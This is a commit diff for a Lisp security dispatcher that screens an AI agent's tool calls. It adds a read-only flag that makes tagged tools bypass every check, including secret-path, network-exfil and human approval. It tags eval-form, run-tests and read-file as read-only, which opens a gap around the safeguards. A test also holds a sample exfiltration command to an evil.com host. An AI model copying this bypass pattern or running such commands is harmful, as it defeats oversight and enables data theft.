v0.7.2: safe-tool read-only allowlist — TDD

Read-only cognitive tools auto-pass dispatcher-check unconditionally.
Added :read-only-p slot to cognitive-tool struct, :read-only-p keyword
to def-cognitive-tool macro, tool-read-only-p registry lookup.

- core-package: struct + macro + tool-read-only-p function
- security-dispatcher: early auto-pass in dispatcher-check, 2 new tests
- programming-tools: 7 tools marked :read-only-p t (search-files,
  find-files, read-file, list-directory, eval-form, run-tests,
  org-find-headline)
- Dispatcher: 38/38

org/security-dispatcher.org

@@ -385,7 +385,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
   (declare (ignore context))
-  (let* ((target (proto-get action :target))
+  (let* ((read-only-auto-pass
+          (let ((tool-name (proto-get (proto-get action :payload) :tool)))
+            (when (and tool-name (tool-read-only-p tool-name))
+              (return-from dispatcher-check action))))
+         (target (proto-get action :target))
          (payload (proto-get action :payload))
          (text (or (proto-get payload :text) (proto-get action :text)))
          (filepath (or (proto-get payload :filepath)
@@ -764,4 +768,41 @@ Recognized formats:
   (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
   (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
   (is (not (dispatcher-check-network-exfil "echo hello"))))
+
+(test test-safe-tool-read-only-auto-approve
+  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
+  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "test-ro-tool"
+                                          :description "Read-only test"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p t))
+  (unwind-protect
+       (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
+              (result (dispatcher-check action nil)))
+         (is (eq :REQUEST (getf result :type)))
+         (is (not (member (getf result :type) '(:LOG :approval-required)))))
+    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
+
+(test test-safe-tool-write-still-checked
+  "Contract v0.7.2: write tools still go through full dispatcher check."
+  (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "write-file"
+                                          :description "File writer"
+                                          :parameters nil
+                                          :guard nil
+                                          :body nil
+                                          :read-only-p nil))
+  (unwind-protect
+       (progn
+         (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+         (let* ((action '(:TYPE :REQUEST :TARGET :tool
+                          :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
+                (result (dispatcher-check action nil)))
+           (setf (uiop:getenv "SELF_BUILD_MODE") "false")
+           (is (eq :approval-required (getf result :level)))
+           (is (search "HITL" (getf (getf result :payload) :message)))))
+    (remhash "write-file" passepartout::*cognitive-tool-registry*)))
 #+end_src